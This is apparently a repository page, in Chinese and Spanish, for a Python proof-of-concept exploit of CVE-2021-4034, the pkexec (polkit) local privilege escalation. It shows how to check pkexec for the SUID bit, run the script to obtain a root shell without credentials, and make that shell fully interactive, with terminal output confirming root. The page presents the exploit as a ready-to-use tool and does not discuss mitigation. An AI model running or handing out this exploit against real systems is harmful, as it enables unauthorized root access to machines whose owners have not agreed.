CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Description

Script en python sobre la vulnerabilidad CVE-2021-4034

介绍

CVE-2021-4034 (pkexec)
El uso de este script en python aprovecha la vulnerabilidad en el archivo pkexec para ganar acceso a root sin proporcionar credenciales

· Detecta si el binario tiene los privilegios SUID, en este caso es vulnerable
  
    usuario@gatogamer $ ls -la /usr/bin/pkexec
    .rwsr-xr-x 1 root root /usr/bin/pkexec
    usuario@gatogamer $
      
· Ejecuta el exploit para ganar acceso a root, en este caso solo es necesario ejecutarlo con python3, al terminar tendrás una consola como root
 
    usuario@gatogamer $ python3 CVE-2021-4034.py
     [+] Iniciando el exploit
     [+] Exploit Completado
    # whoami
    root
    #
      
· Como complemento, puedes cambiar el valor de TERM, puede ser a 'xterm' o 'xterm-256color' para mejor estética, además ejecutar una shell diferente ya sea 'bash' o 'zsh', ahora tenemos una consola completamente interactiva
  
    # export TERM=xterm-256color
    # zsh
    root@gatogamer $
    
<img src="https://raw.githubusercontent.com/Pajarraco4444/test/main/2.png">

文件快照

备注